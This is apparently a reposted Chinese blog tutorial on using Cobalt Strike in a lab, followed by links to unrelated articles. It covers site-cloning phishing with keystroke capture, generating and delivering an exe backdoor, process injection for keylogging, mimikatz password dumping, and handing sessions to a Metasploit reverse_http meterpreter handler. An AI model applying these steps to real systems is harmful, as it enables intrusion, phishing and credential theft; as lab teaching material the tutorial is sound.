『渗透基础』Cobalt Strike基础使用入门_Cobalt Strike联动msfconsole

2024-02-08 17:10

本文主要是介绍『渗透基础』Cobalt Strike基础使用入门_Cobalt Strike联动msfconsole,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 环境
  • 配置cs
    • 启动cs服务器
    • 登录客户端
  • 网页钓鱼
  • 靶机渗透
    • 创建Listener
    • 生成后门
    • 靶机上线
      • *python文件服务器
      • cs自带文件服务器
    • 修改sleep时间
    • 读取目录
    • 进程注入记录键盘输入
    • 截图
    • mimikatz获取密码
  • Cobalt Strike联动msfconsole
  • 插件安装
  • 参考

本实验在安全隔离环境中运行
仅供教学使用

环境

  • kali:Cobalt Strike4.3,192.168.225.129
  • winxp:192.168.225.130

配置cs

启动cs服务器

首先给cs文件夹权限

chmod -R 777 ./cobaltstrike4.3  

启动cs服务器,teamserver ip password,自定义密码,ip填公网/局域网,不可填127.0.0.1

在这里插入图片描述
默认端口50050

登录客户端

sh ./start.sh

这里由于直接在服务器上面开客户端,所以可以填127.0.0.1,最好还是填局域网IP

在这里插入图片描述

网页钓鱼

选择克隆网站

在这里插入图片描述
克隆目标网站作为钓鱼,勾选记录键盘

在这里插入图片描述
靶机访问并输入文字

在这里插入图片描述
即可截获输入内容

在这里插入图片描述

靶机渗透

创建Listener

先创建监听器

在这里插入图片描述
add一个http监听器,host选择客户端ip

Beacon为内置的Listener,获取shell到CS上,Foreign为外部结合的Listener,常用于MSF的结合

在这里插入图片描述
创建成功

在这里插入图片描述

生成后门

攻击package有四种

在这里插入图片描述

  1. hta
  2. office宏
  3. 自定义payload
  4. exe

演示选择exe,配置对应监听器,然后创建32位的exe

在这里插入图片描述
保存到桌面即可

在这里插入图片描述

如果是hta,运行mshta URL即可

靶机上线

这一步模拟受害者下载恶意exe

*python文件服务器

在桌面运行

python3 -m http.server 8010

在这里插入图片描述
靶机访问,点击运行

在这里插入图片描述
即可触发cs上线

cs自带文件服务器

方便一点,选择文件服务器钓鱼

在这里插入图片描述

选中生成的后门,然后修改一个名字
在这里插入图片描述
靶机访问url,点击运行

在这里插入图片描述
触发cs上线

在这里插入图片描述

修改sleep时间

默认60秒靶机向服务端发包告知存活情况,为了是隐藏自己,并获取一次需要执行的命令,执行渗透要把这个时间缩短才能很好地拿到回显

在这里插入图片描述
改小一点就行,演示改成1s

在这里插入图片描述

读取目录

在这里插入图片描述

在这里插入图片描述

进程注入记录键盘输入

靶机开启一个浏览器

在这里插入图片描述
cs浏览进程

在这里插入图片描述
注入explore.exe,并点击log ketstrokes记录键盘

在这里插入图片描述

注入成功后会有新的进程上线,还是跟上面一样别忘了上线后把sleep调小

在这里插入图片描述

靶机在浏览器输入字符,cs键盘记录窗口收到输入的字符

在这里插入图片描述

截图

在这里插入图片描述
打开截图窗口即可看到

在这里插入图片描述

mimikatz获取密码

在这里插入图片描述

Cobalt Strike联动msfconsole

首先保证cs上线

在这里插入图片描述
创建一个foreign http监听器,ip填公网/局域网,端口弄一个不常用的

在这里插入图片描述
然后cs客户端启动msf,这里ip可以填127

msfconsole
use exploit/multi/handler
set lhost 127.0.0.1
set lport 5555
set payload windows/meterpreter/reverse_http
exploit

相当于靶机的请求通过监听器传到了msf

在这里插入图片描述

配置靶机生成请求

在这里插入图片描述
选择msf的监听器

在这里插入图片描述
等一下即可

在这里插入图片描述

插件安装

用梼杌的插件,解压后load cna文件
在这里插入图片描述
邮件上线机器即可

在这里插入图片描述

参考

https://www.freebuf.com/company-information/167460.html
https://github.com/DeEpinGh0st/Erebus
https://github.com/pandasec888/taowu-cobalt-strike

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/125388547
版权声明:本文为原创,转载时须注明出处及本声明

这篇关于『渗透基础』Cobalt Strike基础使用入门_Cobalt Strike联动msfconsole的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/691669

相关文章

一文教你使用Python实现本地分页

《一文教你使用Python实现本地分页》这篇文章主要为大家详细介绍了Python如何实现本地分页的算法,主要针对二级数据结构,文中的示例代码简洁易懂,有需要的小伙伴可以了解下... 在项目开发的过程中,遇到分页的第一页就展示大量的数据,导致前端列表加载展示的速度慢,所以需要在本地加入分页处理,把所有数据先放

Spring Boot Actuator使用说明

《SpringBootActuator使用说明》SpringBootActuator是一个用于监控和管理SpringBoot应用程序的强大工具,通过引入依赖并配置,可以启用默认的监控接口,... 目录项目里引入下面这个依赖使用场景总结说明:本文介绍Spring Boot Actuator的使用,关于Spri

Java中基于注解的代码生成工具MapStruct映射使用详解

《Java中基于注解的代码生成工具MapStruct映射使用详解》MapStruct作为一个基于注解的代码生成工具,为我们提供了一种更加优雅、高效的解决方案,本文主要为大家介绍了它的具体使用,感兴趣... 目录介绍优缺点优点缺点核心注解及详细使用语法说明@Mapper@Mapping@Mappings@Co

使用C++实现单链表的操作与实践

《使用C++实现单链表的操作与实践》在程序设计中,链表是一种常见的数据结构,特别是在动态数据管理、频繁插入和删除元素的场景中,链表相比于数组,具有更高的灵活性和高效性,尤其是在需要频繁修改数据结构的应... 目录一、单链表的基本概念二、单链表类的设计1. 节点的定义2. 链表的类定义三、单链表的操作实现四、

使用Python实现批量分割PDF文件

《使用Python实现批量分割PDF文件》这篇文章主要为大家详细介绍了如何使用Python进行批量分割PDF文件功能,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 目录一、架构设计二、代码实现三、批量分割PDF文件四、总结本文将介绍如何使用python进js行批量分割PDF文件的方法

使用Python在Excel中创建和取消数据分组

《使用Python在Excel中创建和取消数据分组》Excel中的分组是一种通过添加层级结构将相邻行或列组织在一起的功能,当分组完成后,用户可以通过折叠或展开数据组来简化数据视图,这篇博客将介绍如何使... 目录引言使用工具python在Excel中创建行和列分组Python在Excel中创建嵌套分组Pyt

Java使用POI-TL和JFreeChart动态生成Word报告

《Java使用POI-TL和JFreeChart动态生成Word报告》本文介绍了使用POI-TL和JFreeChart生成包含动态数据和图表的Word报告的方法,并分享了实际开发中的踩坑经验,通过代码... 目录前言一、需求背景二、方案分析三、 POI-TL + JFreeChart 实现3.1 Maven

使用Python在Excel中插入、修改、提取和删除超链接

《使用Python在Excel中插入、修改、提取和删除超链接》超链接是Excel中的常用功能,通过点击超链接可以快速跳转到外部网站、本地文件或工作表中的特定单元格,有效提升数据访问的效率和用户体验,这... 目录引言使用工具python在Excel中插入超链接Python修改Excel中的超链接Python

使用Java实现获取客户端IP地址

《使用Java实现获取客户端IP地址》这篇文章主要为大家详细介绍了如何使用Java实现获取客户端IP地址,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... 首先是获取 IP,直接上代码import org.springframework.web.context.request.Requ

使用maven依赖详解

《使用maven依赖详解》本文主要介绍了Maven的基础知识,包括Maven的简介、仓库类型、常用命令、场景举例、指令总结、依赖范围、settings.xml说明等,同时,还详细讲解了Maven依赖的... 目录1. maven基础1.1 简介1.2 仓库类型1.3 常用命令1.4 场景举例1.5 指令总结